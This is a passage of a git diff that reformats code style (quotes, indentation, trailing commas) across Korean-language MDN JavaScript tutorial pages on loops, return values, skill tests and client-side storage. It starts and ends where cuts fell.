 3. 다음 검색의 준비를 위해, 텍스트 인풋을 비우고 그것을 다시 포커싱하기 전에, 우리는 `searchName` 변수에 텍스트 인풋에 입력된 값을 저장합니다. 검색이 대소문자 구분이 없도록(case-insensitive) 우리가 또한 [`toLowerCase()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)메서드를 문자열에 실행했다는 것에 주목하세요.
 4. 이제 for 반복문의 흥미로운 점을 봅시다:
 
-    1. 우리는 `0`에서 카운터를 시작하고, 카운터가 `contacts.length`보다 더 이상 작지 않을 때까지 반복문을 실행시키고, 그리고 `i`를 반복문의 각 반복 후마다 1씩 증가시킵니다.
-    2. 반복문 내부에서, 우리는 첫째로 현재 연락처 (`contacts[i]`)를 콜론 문자에서 나누고(split), 결과인 두 값을 `splitContact` 배열에 저장했습니다.
-    3. 그리고서 우리는 `splitContact[0]` (연락처의 이름, 다시 얘기하자면 [`toLowerCase()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)로 소문자화(lower-cased)된)이, 입력된 `searchName`과 같은지를 검사하는 조건문을 사용했습니다. 만약 그렇다면, 우리는 연락처의 번호가 무엇인지를 알리는 문자열을 문단에 입력하고, 반복문을 끝내기 위해 `break`을 사용합니다.
+   1. 우리는 `0`에서 카운터를 시작하고, 카운터가 `contacts.length`보다 더 이상 작지 않을 때까지 반복문을 실행시키고, 그리고 `i`를 반복문의 각 반복 후마다 1씩 증가시킵니다.
+   2. 반복문 내부에서, 우리는 첫째로 현재 연락처 (`contacts[i]`)를 콜론 문자에서 나누고(split), 결과인 두 값을 `splitContact` 배열에 저장했습니다.
+   3. 그리고서 우리는 `splitContact[0]` (연락처의 이름, 다시 얘기하자면 [`toLowerCase()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)로 소문자화(lower-cased)된)이, 입력된 `searchName`과 같은지를 검사하는 조건문을 사용했습니다. 만약 그렇다면, 우리는 연락처의 번호가 무엇인지를 알리는 문자열을 문단에 입력하고, 반복문을 끝내기 위해 `break`을 사용합니다.
 
 5. `(contacts.length-1)` 반복 후에, 만약 연락처 이름이 입력된 검색과 일치하지 않으면 문단 텍스트는 "Contact not found."로 설정되고, 반복문은 조건이 더 이상 true가 아닐 때까지 반복을 계속합니다.
 
@@ -381,52 +380,47 @@ for (let i = 1; i <= num; i++) {
     continue;
   }
 
-  para.textContent += i + ' ';
+  para.textContent += i + " ";
 }
 ```
 
 여기 출력이 있습니다:
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Integer squares generator</title>
-    <style>
-
-    </style>
+    <style></style>
   </head>
   <body>
+    <label for="number">Enter number: </label>
+    <input id="number" type="text" />
+    <button>Generate integer squares</button>
 
-  <label for="number">Enter number: </label>
-  <input id="number" type="text">
-  <button>Generate integer squares</button>
-
-  <p>Output: </p>
-
+    <p>Output:</p>
 
     <script>
-    const para = document.querySelector('p');
-    const input = document.querySelector('input');
-    const btn = document.querySelector('button');
-
-    btn.addEventListener('click', function() {
-      para.textContent = 'Output: ';
-      let num = input.value;
-      input.value = '';
-      input.focus();
-      for (let i = 1; i <= num; i++) {
-        let sqRoot = Math.sqrt(i);
-        if (Math.floor(sqRoot) !== sqRoot) {
-          continue;
+      const para = document.querySelector("p");
+      const input = document.querySelector("input");
+      const btn = document.querySelector("button");
+
+      btn.addEventListener("click", function () {
+        para.textContent = "Output: ";
+        let num = input.value;
+        input.value = "";
+        input.focus();
+        for (let i = 1; i <= num; i++) {
+          let sqRoot = Math.sqrt(i);
+          if (Math.floor(sqRoot) !== sqRoot) {
+            continue;
+          }
+
+          para.textContent += i + " ";
         }
-
-        para.textContent += i + ' ';
-      }
-    });
+      });
     </script>
-
   </body>
 </html>
 ```
@@ -466,9 +460,9 @@ let i = 0;
 
 while (i < cats.length) {
   if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
+    info += "and " + cats[i] + ".";
   } else {
-    info += cats[i] + ', ';
+    info += cats[i] + ", ";
   }
 
   i++;
@@ -499,9 +493,9 @@ let i = 0;
 
 do {
   if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
+    info += "and " + cats[i] + ".";
   } else {
-    info += cats[i] + ', ';
+    info += cats[i] + ", ";
   }
 
   i++;
@@ -680,12 +674,14 @@ updateCode();
 ```html hidden
 <h2>Live output</h2>
 <div class="output" style="height: 100px;overflow: auto;">
-  <p class="admitted">Admit: </p>
-  <p class="refused">Refuse: </p>
+  <p class="admitted">Admit:</p>
+  <p class="refused">Refuse:</p>
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 <textarea id="code" class="playable-code" style="height: 400px;width: 95%">
 const people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];
 
@@ -702,8 +698,8 @@ refused.textContent = 'Refuse: '
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -730,9 +726,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -740,38 +736,39 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-let jsSolution = 'const people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nconst admitted = document.querySelector(\'.admitted\');\nconst refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nlet i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
+let jsSolution =
+  "const people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];\n\nconst admitted = document.querySelector('.admitted');\nconst refused = document.querySelector('.refused');\n\nadmitted.textContent = 'Admit: ';\nrefused.textContent = 'Refuse: '\nlet i = 0;\n\ndo {\n if(people[i] === 'Phil' || people[i] === 'Lola') {\n refused.textContent += people[i] + ', ';\n } else {\n admitted.textContent += people[i] + ', ';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + '.';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + '.';";
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -783,8 +780,11 @@ function insertAtCaret(text) {
   let scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
 
-  let front = (textarea.value).substring(0, caretPos);
-  let back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  let front = textarea.value.substring(0, caretPos);
+  let back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -795,10 +795,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
diff --git a/files/ko/learn/javascript/building_blocks/return_values/index.md b/files/ko/learn/javascript/building_blocks/return_values/index.md
index fe01843f1bd9f4..596f33c5a4ef8a 100644
--- a/files/ko/learn/javascript/building_blocks/return_values/index.md
+++ b/files/ko/learn/javascript/building_blocks/return_values/index.md
@@ -34,8 +34,8 @@ slug: Learn/JavaScript/Building_blocks/Return_values
 (이 시리즈의 [지난 문서](/ko/docs/Learn/JavaScript/Building_blocks/Functions#built-in_browser_functions)에서 본) 익숙한 예제로 돌아가 봅시다.
 
 ```js
-let myText = 'The weather is cold';
-let newString = myText.replace('cold', 'warm');
+let myText = "The weather is cold";
+let newString = myText.replace("cold", "warm");
 console.log(newString); // Should print "The weather is warm"
 // replace() 문자열 함수는 문자열을 취해서,
 // 부분열(substring)을 다른 것으로 바꾸고,
@@ -64,7 +64,7 @@ function draw() {
   ctx.clearRect(0, 0, WIDTH, HEIGHT);
   for (let i = 0; i < 100; i++) {
     ctx.beginPath();
-    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.fillStyle = "rgba(255,0,0,0.5)";
     ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
     ctx.fill();
   }
@@ -113,49 +113,59 @@ ctx.arc(500, 200, 35, 0, 2 * Math.PI);
 1. 우선, GitHub에서 [function-library.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html) 파일을 다운받으세요. 이것은 텍스트 {{htmlelement("input")}} 필드와 단락을 포함하고 있는 단순한 HTML 페이지입니다. 또한 {{htmlelement("script")}} 요소가 있는데, 두 HTML 요소에 대한 참조를 두 변수에 저장해 놓았습니다. 이 작은 페이지는 숫자를 텍스트 박스에 입력할 수 있게 하고, 그것에 관련된 다른 숫자들을 아래의 단락에 표시할 것입니다.
 2. 몇몇 유용한 함수들을 이 `<script>` 요소에 추가합시다. 두 줄의 [JavaScript](/ko/docs/Web/JavaScript) 아래에, 다음의 함수 정의를 추가하세요.
 
-    ```js
-    function squared(num) {
-      return num * num;
-    }
-
-    function cubed(num) {
-      return num * num * num;
-    }
-
-    function factorial(num) {
-      if (num < 0) return undefined;
-      if (num == 0) return 1;
-      let x = num - 1;
-      while (x > 1) {
-        num *= x;
-        x--;
-      }
-      return num;
-    }
-    ```
-
-    `squared()` 와 `cubed()` 함수는 분명합니다 — 이 함수들은 매개변수로 주어진 숫자의 제곱과 세제곱을 반환합니다. `factorial()` 함수는 주어진 숫자의 [팩토리얼](https://ko.wikipedia.org/wiki/%EA%B3%84%EC%8A%B9)을 반환합니다.
+   ```js
+   function squared(num) {
+     return num * num;
+   }
+
+   function cubed(num) {
+     return num * num * num;
+   }
+
+   function factorial(num) {
+     if (num < 0) return undefined;
+     if (num == 0) return 1;
+     let x = num - 1;
+     while (x > 1) {
+       num *= x;
+       x--;
+     }
+     return num;
+   }
+   ```
+
+   `squared()` 와 `cubed()` 함수는 분명합니다 — 이 함수들은 매개변수로 주어진 숫자의 제곱과 세제곱을 반환합니다. `factorial()` 함수는 주어진 숫자의 [팩토리얼](https://ko.wikipedia.org/wiki/%EA%B3%84%EC%8A%B9)을 반환합니다.
 
 3. 다음으로, 우리는 텍스트 인풋에 입력된 숫자에 대한 정보를 출력할 방법을 포함할 것입니다. 다음의 이벤트 핸들러를 존재하는 함수들 아래에 입력해 보세요:
 
-    ```js
-    input.onchange = function() {
-      const num = parseFloat(input.value);
-      if (isNaN(num)) {
-        para.textContent = 'You need to enter a number!';
-      } else {
-        para.textContent = num + ' squared is ' + squared(num) + '. ' +
-                           num + ' cubed is ' + cubed(num) + '. ' +
-                           num + ' factorial is ' + factorial(num) + '.';
-      }
-    }
-    ```
-
-    여기서 우리는 `onchange` 이벤트 핸들러를 만들었습니다. 이것은 `change` 이벤트가 언제든지 텍스트 인풋에서 발생(fire)되었을 때 실행됩니다 — 즉, 새로운 값이 텍스트 `input`에 입력되고, 제출되었을 때 (예: 값을 입력하고, <kbd>Tab</kbd>이나 <kbd>Return</kbd>을 눌러 그리고서 인풋에서 포커스를 옮겼을 때). 익명 함수가 실행되었을 때, `input` 내의 값은 `num` 상수에 저장됩니다.
-
-    다음으로, 우리는 조건문 테스트를 합니다. 만약 입력된 값이 숫자가 아니라면, 오류 메시지가 단락에 출력됩니다. 이 테스트는 표현식(expression) `isNaN(num)`이 `true`를 반환하는지를 살핍니다. [`isNaN()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/isNaN) 함수는 `num` 값이 숫자가 아닌지를 검사합니다 — 만약 그렇다면, 이것은 `true`를 반환하고, 아니라면, `false`를 반환합니다.
-
-    만약 검사가 `false`를 반환했다면, `num` 값은 숫자입니다. 그러므로, 문장이 그 숫자의 제곱, 세제곱, 그리고 팩토리얼을 서술하는 단락 요소 내부에 출력됩니다. 문장은 `squared()`, `cubed()`, 그리고 `factorial()` 함수를 요구된 값을 계산하기 위해 호출합니다.
+   ```js
+   input.onchange = function () {
+     const num = parseFloat(input.value);
+     if (isNaN(num)) {
+       para.textContent = "You need to enter a number!";
+     } else {
+       para.textContent =
+         num +
+         " squared is " +
+         squared(num) +
+         ". " +
+         num +
+         " cubed is " +
+         cubed(num) +
+         ". " +
+         num +
+         " factorial is " +
+         factorial(num) +
+         ".";
+     }
+   };
+   ```
+
+   여기서 우리는 `onchange` 이벤트 핸들러를 만들었습니다. 이것은 `change` 이벤트가 언제든지 텍스트 인풋에서 발생(fire)되었을 때 실행됩니다 — 즉, 새로운 값이 텍스트 `input`에 입력되고, 제출되었을 때 (예: 값을 입력하고, <kbd>Tab</kbd>이나 <kbd>Return</kbd>을 눌러 그리고서 인풋에서 포커스를 옮겼을 때). 익명 함수가 실행되었을 때, `input` 내의 값은 `num` 상수에 저장됩니다.
+
+   다음으로, 우리는 조건문 테스트를 합니다. 만약 입력된 값이 숫자가 아니라면, 오류 메시지가 단락에 출력됩니다. 이 테스트는 표현식(expression) `isNaN(num)`이 `true`를 반환하는지를 살핍니다. [`isNaN()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/isNaN) 함수는 `num` 값이 숫자가 아닌지를 검사합니다 — 만약 그렇다면, 이것은 `true`를 반환하고, 아니라면, `false`를 반환합니다.
+
+   만약 검사가 `false`를 반환했다면, `num` 값은 숫자입니다. 그러므로, 문장이 그 숫자의 제곱, 세제곱, 그리고 팩토리얼을 서술하는 단락 요소 내부에 출력됩니다. 문장은 `squared()`, `cubed()`, 그리고 `factorial()` 함수를 요구된 값을 계산하기 위해 호출합니다.
 
 4. 코드를 저장하고, 브라우저에서 로드한 후, 시도해 보세요.
 
diff --git a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__conditionals/index.md b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__conditionals/index.md
index 41fa58e9df04ae..d7fafa1190b78a 100644
--- a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__conditionals/index.md
+++ b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__conditionals/index.md
@@ -1,5 +1,5 @@
 ---
-title: '실력을 평가해 보세요: 조건문'
+title: "실력을 평가해 보세요: 조건문"
 slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Conditionals
 ---
 
@@ -95,7 +95,7 @@ slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Conditionals
 1. 여러분의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/) 같은 온라인에서 공유 가능한 에디터에 올리세요. 여러분은 직접 코드를 작성하거나, 위 섹션들에 링크된 시작점 파일을 사용할 수 있습니다.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및/또는 도움을 요청하는 글을 작성하세요. 여러분의 글은 다음을 포함해야만 합니다:
 
-    - "조건문 1 실력 평가에 대한 평가 원함"과 같은 서술적인 제목.
-    - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "조건문 1 실력 평가에 대한 평가 원함"과 같은 서술적인 제목.
+   - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
diff --git a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__events/index.md b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__events/index.md
index 540d2a284167f6..626b2e9517c2de 100644
--- a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__events/index.md
+++ b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__events/index.md
@@ -1,5 +1,5 @@
 ---
-title: '실력을 평가해 보세요: 이벤트'
+title: "실력을 평가해 보세요: 이벤트"
 slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Events
 ---
 
@@ -66,7 +66,7 @@ HTML은 변경되어서는 안 됩니다; JavaScript만 변경되어야 합니
 1. 여러분의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/)와 같은 온라인에서 공유 가능한 에디터에 올리세요. 여러분은 코드를 직접 작성할 수도 있고, 혹은 위 섹션에 링크된 시작 파일을 사용할 수도 있습니다.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및/또는 도움을 요청하는 글을 작성하세요. 여러분의 글은 다음을 포함해야만 합니다:
 
-    - "이벤트 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
-    - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "이벤트 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
+   - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
diff --git a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__functions/index.md b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__functions/index.md
index 1256964952d5df..7eae1048a55a9f 100644
--- a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__functions/index.md
+++ b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__functions/index.md
@@ -1,5 +1,5 @@
 ---
-title: '실력을 평가해 보세요: 함수'
+title: "실력을 평가해 보세요: 함수"
 slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Functions
 ---
 
@@ -70,7 +70,7 @@ slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Functions
 1. 여러분의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/)와 같은 온라인에서 공유 가능한 에디터에 올리세요. 여러분은 코드를 직접 작성할 수도 있고, 혹은 위 섹션에 링크된 시작 파일을 사용할 수도 있습니다.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및/또는 도움을 요청하는 글을 작성하세요. 여러분의 글은 다음을 포함해야만 합니다:
 
-    - "함수 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
-    - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "함수 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
+   - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
diff --git a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__loops/index.md b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__loops/index.md
index 40f7090c541198..97c445e05a7da4 100644
--- a/files/ko/learn/javascript/building_blocks/test_your_skills_colon__loops/index.md
+++ b/files/ko/learn/javascript/building_blocks/test_your_skills_colon__loops/index.md
@@ -1,5 +1,5 @@
 ---
-title: '실력을 평가해 보세요: 반복문'
+title: "실력을 평가해 보세요: 반복문"
 slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Loops
 ---
 
@@ -60,7 +60,7 @@ slug: Learn/JavaScript/Building_blocks/Test_your_skills:_Loops
 1. 여러분의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/)와 같은 온라인에서 공유 가능한 에디터에 올리세요. 여러분은 코드를 직접 작성할 수도 있고, 혹은 위 섹션에 링크된 시작 파일을 사용할 수도 있습니다.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및/또는 도움을 요청하는 글을 작성하세요. 여러분의 글은 다음을 포함해야만 합니다:
 
-    - "반복문 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
-    - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "반복문 1 실력 테스트에 대한 평가 원함"과 같은 서술적인 제목.
+   - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
diff --git a/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.md b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.md
index a2754e2f20b42c..a27bb3739b4de6 100644
--- a/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.md
+++ b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.md
@@ -291,7 +291,7 @@ Now let's look at what we have to do in the first place, to actually set up a da
    ```js
    // error handler signifies that the database didn't open successfully
    openRequest.addEventListener("error", () =>
-     console.error("Database failed to open")
+     console.error("Database failed to open"),
    );
 
    // success handler signifies that the database opened successfully
@@ -395,7 +395,7 @@ function addData(e) {
   });
 
   transaction.addEventListener("error", () =>
-    console.log("Transaction not opened due to error")
+    console.log("Transaction not opened due to error"),
   );
 }
 ```
@@ -566,7 +566,7 @@ Let's walk through the most interesting parts of the example. We won't look at i
            displayVideo(
              request.result.mp4,
              request.result.webm,
-             request.result.name
+             request.result.name,
            );
          } else {
            // Fetch the videos from the network
@@ -587,10 +587,10 @@ Let's walk through the most interesting parts of the example. We won't look at i
    // Fetch the MP4 and WebM versions of the video using the fetch() function,
    // then expose their response bodies as blobs
    const mp4Blob = fetch(`videos/${video.name}.mp4`).then((response) =>
-     response.blob()
+     response.blob(),
    );
    const webmBlob = fetch(`videos/${video.name}.webm`).then((response) =>
-     response.blob()
+     response.blob(),
    );
 
    // Only run the next code when both promises have fulfilled
@@ -616,7 +616,7 @@ Let's walk through the most interesting parts of the example. We won't look at i
      const request = objectStore.add({ mp4, webm, name });
 
      request.addEventListener("success", () =>
-       console.log("Record addition attempt finished")
+       console.log("Record addition attempt finished"),
      );
      request.addEventListener("error", () => console.error(request.error));
    }
@@ -682,7 +682,7 @@ The first thing to note is that there's an extra bit of code placed in the main
 if ("serviceWorker" in navigator) {
   navigator.serviceWorker
     .register(
-      "/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js"
+      "/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js",
     )
     .then(() => console.log("Service Worker Registered"));
 }
@@ -711,8 +711,8 @@ self.addEventListener("install", (e) => {
           "/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html",
           "/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js",
           "/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css",
-        ])
-      )
+        ]),
+      ),
   );
 });
 ```
@@ -735,7 +735,7 @@ If a match is found, we return it as the custom response. If not, we [fetch()](/
 self.addEventListener("fetch", (e) => {
   console.log(e.request.url);
   e.respondWith(
-    caches.match(e.request).then((response) => response || fetch(e.request))
+    caches.match(e.request).then((response) => response || fetch(e.request)),
   );
 });
 ```
diff --git a/files/ko/learn/javascript/client-side_web_apis/index.md b/files/ko/learn/javascript/client-side_web_apis/index.md
index 84ed3565590f85..e165751edfb892 100644
--- a/files/ko/learn/javascript/client-side_web_apis/index.md
+++ b/files/ko/learn/javascript/client-side_web_apis/index.md
@@ -2,6 +2,7 @@
 title: Client-side web APIs
 slug: Learn/JavaScript/Client-side_web_APIs
 ---
+
 {{LearnSidebar}}
 
 웹 사이트 또는 응용 프로그램 용 client-side JavaScript를 작성할때 API (응용 프로그램 프로그래밍 인터페이스)를 사용하지 않으면 많은것을 만들기 어렵습니다. API는 사이트가 실행되고 있는 브라우저와 운영 체제의 다양한 부분 그리고 웹 사이트 혹은 서비스의 데이터를 다룰 수 있는 인터페이스입니다. 이번장에서 우리는 API가 무엇인지, 그리고 개발할 때 자주 접하게 될 보편적인 API를 사용하는 방법에 대해 살펴볼 것입니다.
diff --git a/files/ko/learn/javascript/first_steps/a_first_splash/index.md b/files/ko/learn/javascript/first_steps/a_first_splash/index.md
index cadc5c08a61cc7..f1774a67181481 100644
--- a/files/ko/learn/javascript/first_steps/a_first_splash/index.md
